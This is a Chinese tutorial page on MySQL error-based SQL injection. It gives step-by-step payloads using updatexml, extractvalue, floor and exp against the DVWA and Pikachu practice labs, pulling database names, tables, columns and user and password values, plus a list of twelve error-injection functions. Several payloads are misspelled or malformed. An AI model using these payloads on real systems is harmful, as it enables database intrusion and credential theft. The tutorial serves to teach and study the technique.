当前位置:网站首页> SQL注入报错注入函数图文详解
SQL注入报错注入函数图文详解
2022-07-07 18:38:00 【1024问】
前言
常用报错函数
用法详解
updatexml()函数
实例
extractvalue()函数
floor()函数
exp()函数
12种报错注入函数
总结
前言报错注入的前提是当语句发生错误时,错误信息被输出到前端。其漏洞原因是由于开发人员在开发程序时使用了print_r (),mysql_error(),mysqli_connect_error()函数将mysql错误信息输出到前端,因此可以通过闭合原先的语句,去执行后面的语句。
常用报错函数用法详解updatexml()函数updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数
extractvalue() 是mysql对xml文档数据进行查询的xpath函数
floor() mysql中用来取整的函数
exp() 此函数返回e(自然对数的底)指数X的幂值
updatexml()函数的作用就是改变(查找并替换)xml文档中符合条件的节点的值
语法:updatexml(xml_document,XPthstring,new_value)
第一个参数是字符串string(XML文档对象的名称)
第二个参数是指定字符串中的一个位置(Xpath格式的字符串)
第三个参数是将要替换成什么,string格式
Xpath定位必须是有效的,否则则会发生错误。我们就能利用这个特性爆出我们想要的数据
实例注册就是往数据库里添加数据,insert。
在用户处输入单引号 报错
猜测后端语句
insert into user(name,password,sex,phone,address1,address2) value('xxx',123,1,2,3,4)
可以在xxx处对单引号闭合,爆出我们想要的数据
?id=1' or updatexml(0,concat(0x7e,select database()),1)'
闭合单引号使语句逃逸出来,之后重新构造语句查询,爆破出库名为:"pikachu"
分析过程
当输入payload
?id=1' or updatexml(0,concat(0x7e,select database()),1)or'
后端会被拼接为
insert into user(name,password,sex,phone,address1,address2) value('' or updatexml(1,concat(0x7e,database()),0) or '',
表名列名字段和正常查询一样只是换了个位置
利用过程
库名
1'and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#
表名
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #
查表信息(假定有一个users表,库名为dvwa
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),0x7e),1) #
查字段值(假设字段名为last_name(dvwa.users意思为调用dvwa库的users表)
1' and updatexml(1,concat(0x7e,(select group_concat(first_name,0x7e,last_name) from dvwa.users)),1) #
extractvalue()函数extractvalue()函数的作用是从目标xml中返回包含所查询值的字符串
extractvalue (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为doc
第二个参数:XPath_string(Xpath格式的字符串),Xpath定位必须是有效的,否则会发生错误
构造payload
?id=1' or extracrvalue(0,concat(0x7e,database())) or '
注意xpath回显只有一位使用limit函数逐个爆,且最长为32位,超过32位爆不了
利用过程
当前库
1' and extractvalue(1,concat(0x7e,user(),0x7e,database())) #
当前表
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #
表信息(假设表为users
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) #
字段值(字段为user_id,first_name,last_name,(dvwa.users意思为调用dvwa库的users表)
1' and extractvalue(1,concat(0x7e,(select group_concat(user_id,0x7e,first_name,0x3a,last_name) from dvwa.users))) #
floor()函数floor()是mysql的一个取整函数
库名
id=1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x #
表名(库为dvwa,通过修改 limit 0,1值递增查表, limit 1,1、limit 2,1
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#
字段名(库:dvwa,表:users
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#
字段值(字段值:user,password(dvwa.users意思为调用dvwa库users表
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x#
exp()函数当传递一个大于709的值时,函数exp()就会引起一个溢出错误。
库名
id=1' or exp(~(SELECT * from(select database())a)) or '
表名(库名:pikachu
id=1' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema = 'pikachu')a)) or '
字段名(表名:users
id=1' or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '
字段值(字段名:password,表名:users
id=1' or wzp(~(select * from(select password from users limit 0,1)a)) or '
12种报错注入函数1、通过floor报错,注入语句如下:
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2、通过extractvalue报错,注入语句如下:
and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3、通过updatexml报错,注入语句如下:
and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );
5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c);
7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
总结到此这篇关于SQL注入报错注入函数的文章就介绍到这了,更多相关SQL注入报错注入函数内容请搜索软件开发网以前的文章或继续浏览下面的相关文章希望大家以后多多支持软件开发网!
边栏推荐
- How to choose fund products? What fund is suitable to buy in July 2022?
- When easygbs cascades, how to solve the streaming failure and screen jam caused by the restart of the superior platform?
- Implement secondary index with Gaussian redis
- Make this crmeb single merchant wechat mall system popular, so easy to use!
- Flask1.1.4 werkzeug1.0.1 source code analysis: Routing
- 使用 BR 恢复 Azure Blob Storage 上的备份数据
- 字符串中数据排序
- [philosophy and practice] the way of program design
- Guava multithreading, futurecallback thread calls are uneven
- 【解决】package ‘xxxx‘ is not in GOROOT
猜你喜欢
Helix QAC 2020.2 new static test tool maximizes the coverage of standard compliance
使用高斯Redis实现二级索引
Klocwork code static analysis tool
Apifox interface integrated management new artifact
ERROR: 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your
C语言 整型 和 浮点型 数据在内存中存储详解(内含原码反码补码,大小端存储等详解)
OneSpin | 解决IC设计中的硬件木马和安全信任问题
ERROR: 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your
CodeSonar网络研讨会
How to test CIS chip?
随机推荐
Klocwork 代码静态分析工具
Écrivez une liste de sauts
AIRIOT助力城市管廊工程,智慧物联守护城市生命线
Apifox interface integrated management new artifact
AADL Inspector 故障树安全分析模块
使用高斯Redis实现二级索引
【C语言】指针进阶---指针你真的学懂了吗?
Micro service remote debug, nocalhost + rainbow micro service development second bullet
复杂因子计算优化案例:深度不平衡、买卖压力指标、波动率计算
When easygbs cascades, how to solve the streaming failure and screen jam caused by the restart of the superior platform?
Small guide for rapid formation of manipulator (12): inverse kinematics analysis
How to implement safety practice in software development stage
使用高斯Redis实现二级索引
[paper reading] maps: Multi-Agent Reinforcement Learning Based Portfolio Management System
Alibaba cloud award winning experience: how to mount NAS file system through ECS
实战:sqlserver 2008 扩展事件-XML转换为标准的table格式[通俗易懂]
2022如何评估与选择低代码开发平台?
程序猿赚的那点钱算个P啊!
I Basic concepts
基于深度学习的目标检测的更新迭代总结(持续更新ing)